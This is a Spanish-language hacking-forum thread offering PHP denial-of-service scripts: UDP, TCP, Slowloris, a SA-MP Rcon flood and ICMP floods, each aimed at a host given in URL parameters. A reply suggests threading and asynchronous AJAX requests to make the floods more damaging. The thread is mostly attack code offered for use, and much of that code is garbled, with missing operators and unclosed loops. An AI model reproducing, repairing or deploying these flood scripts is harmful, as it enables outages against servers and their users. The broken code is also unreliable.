Underc0de

Programación Web => Back-end => Mensaje iniciado por: ANTRAX en Agosto 25, 2013, 11:59:51 PM

Título: Metodos de DoS con PHP
Publicado por: ANTRAX en Agosto 25, 2013, 11:59:51 PM
UDP:

Código (php) [Seleccionar]
<?php
//UDP
if(isset($_GET['host'])&&isset($_GET['time'])){
    
$packets 0;
    
ignore_user_abort(TRUE);
    
set_time_limit(0);

   
$exec_time $_GET['time'];

   
$time time();
    
$max_time $time+$exec_time;

   
$host $_GET['host'];

   for(
$i=0;$i<65000;$i++){
    
$out .= 'X';
    }
    while(
1){
    
$packets++;
    if(
time() > $max_time){
    break;
    }
    
$rand rand(1,65000);
    
$fp fsockopen('udp://'.$host$rand$errno$errstr5);
    if(
$fp){
    
fwrite($fp$out);
    
fclose($fp);
    }
?>


UDP Method 2

Código (php) [Seleccionar]
<?php

$host 
$_GET['host'];
set_time_limit(0);
$exec_time = (int)$_GET['time'];
$time time();
$max_time $time $exec_time;

      if(
time() > $max_time)

      {

         break;

      }

while(
1){

$dataOut "x08x00x10x26x74x65x73x74";

      if (
$_GET['port'] == "rand")

      {

         
$rand rand(1,65535);

      }

      else

      {

         
$rand = (int)filter($_GET['port']);

      }

$socket socket_create(AF_INETSOCK_DGRAMUDP);
 
socket_set_nonblock($socket);
 
socket_connect($socket$host$rand);
 
@
socket_write($socket$dataOutstrlen($dataOut));
 
socket_close($socket);}

echo 
"UDP flood complete after: {$exec_time} seconds";
?>


TCP

Código (php) [Seleccionar]
<?php
    
//TCP
    
if(isset($_GET['host'])&&isset($_GET['time'])){
        
$packets 0;
        
ignore_user_abort(TRUE);
        
set_time_limit(0);
       
        
$exec_time $_GET['time'];
       
        
$time time();
        
$max_time $time+$exec_time;
     
        
$host $_GET['host'];
        
$port $_GET['port'];
       
        for(
$i=0;$i<65000;$i++){
                
$out .= 'X';
        }
        while(
1){
        
$packets++;
                if(
time() > $max_time){
                        break;
                }               
                
$fp fsockopen('tcp://'.$host$port$errno$errstr5);
                if(
$fp){
                        
fwrite($fp$out);
                        
fclose($fp);
                }
    
?>


Slowloris

Código (php) [Seleccionar]
<?php
$ip 
$_GET['ip'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time $_GET['time'];
$time time();
$max_time $time+$exec_time;

while(
1){
  if(
time() > $max_time){
    break;
  }

  
$fp fsockopen($ip80$errno$errstr140);
  if (!
$fp) {
    echo 
"$errstr ($errno)<br />\n";
  } else {
    
$out "POST / HTTP/1.1\r\n";
    
$out .= "Host: $ip\r\n";
    
$out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n";
    
$out .= "Content-Length: 42\r\n\r\n";

    
fwrite($fp$out);
}
}
echo 
"Slowloris flood complete after: $exec_time seconds\n";
?>


SA-MP Rcon Flood

Código (php) [Seleccionar]
<?php
if(isset($_GET['host'])&&isset($_GET['port'])&&isset($_GET['time'])){
    
$packets 0;
    
$fakepass "4azr46a";
    
$fakecmd "exit";
    
$sPacket "";  
    
ignore_user_abort(TRUE);
    
set_time_limit(0);
    
    
$exec_time $_GET['time'];    
    
$time time();
    
$max_time $time+$exec_time;
    
$host $_GET['host'];    
    
$port $_GET['port'];    
    
    
$aIPAddr explode('.'$host); 
    
$sPacket .= "SAMP";
 
    
$sPacket .= chr($aIPAddr[0]);
    
$sPacket .= chr($aIPAddr[1]);
    
$sPacket .= chr($aIPAddr[2]);
    
$sPacket .= chr($aIPAddr[3]);
 
    
$sPacket .= chr($port 0xFF);
    
$sPacket .= chr($port >> 0xFF);
 
    
$sPacket .= 'x';
    
    
$sPacket .= chr(strlen($fakepass) & 0xFF);
    
$sPacket .= chr(strlen($fakepass) >> 0xFF);
    
$sPacket .= $fakepass;
    
$sPacket .= chr(strlen($fakecmd) & 0xFF);
    
$sPacket .= chr(strlen($fakecmd) >> 0xFF);
    
$sPacket .= $fakecmd;
    
    while(
1){
    
$packets++;
            if(
time() > $max_time){
                    break;
            }
            
//$rand = rand(1,65000);
            
$fp fsockopen('udp://'.$host$port$errno$errstr2);
            
fwrite($fp$sPacket); 
            if(
$fp){
                    
fwrite($rSocket$sPacket); 
                    
fclose($fp);
            }
?>


ICMP

Código (php) [Seleccionar]
<?php

$host 
$_GET['host'];
set_time_limit(0);
$exec_time $_GET['time'];
$time time();
$max_time $time $exec_time;

      if(
time() > $max_time)

      {

         break;

      }

while(
1){
// 08 (ECHO), 00 (No Code), 10 26 (Checksum), 74 65 73 74 (The data: "test")
$dataOut "x08x00x10x26x74x65x73x74";
 
// Raw socket, ICMP protocol
$socket socket_create(AF_INETSOCK_RAW1);
 
// Non blocking as in the actual script it is many sockets to different machines
socket_set_nonblock($socket);
 
// Connect to local machine (or any machine)
socket_connect($socket$hostnull);
 
// Send $dataOut
@socket_write($socket$dataOutstrlen($dataOut));
 
// Close socket
socket_close($socket);}

echo 
"ICMP flood complete after: {$exec_time} seconds";
?>


El autor original de los codigos es: io.kent

Saludos!
ANTRAX
Título: Re:Metodos de DoS con PHP
Publicado por: WHK en Agosto 30, 2013, 10:09:40 AM
Hola, se ven buenos pero todos son sincronicos, eso quiere decir que envia los paquetes uno por uno y eso no le hace daño a nadie, lo que si podría servir es hacer hilos de proceso con php ( http://php.net/manual/en/class.thread.php ), eso quiere decir enviar sus 100 paquetes simultaneos por segundo, eso si podría resultar.

Lo otro sería sin utilizar pecl utilizando ajax haciendo peticiones asincronicas, o sea hacer de 50 en 50 peticiones cada 1 segundo al archivo php pero puede correr el riesgo de que el servidor local colapse debido a que habrán demasiadas peticiones sin terminar, de alguna manera habría que controlar que se envien 50 conecciones y que cada ves que se desconecte una que lo vuelva a reconectar de manera automatica, eso si sería muy dañino y sin utilizar los famosos iframes que al final terminan consumiendo muchisima cpu.

También podrian hacerse ataques via ajax solicitando cabeceras de tipo json o xml debido a la politica de sitios cruzados de los navegadores, esta petición se abortará una ves terminada la solicitud asi que alcanzará de todas maneras a realizar el ataque sin problemas.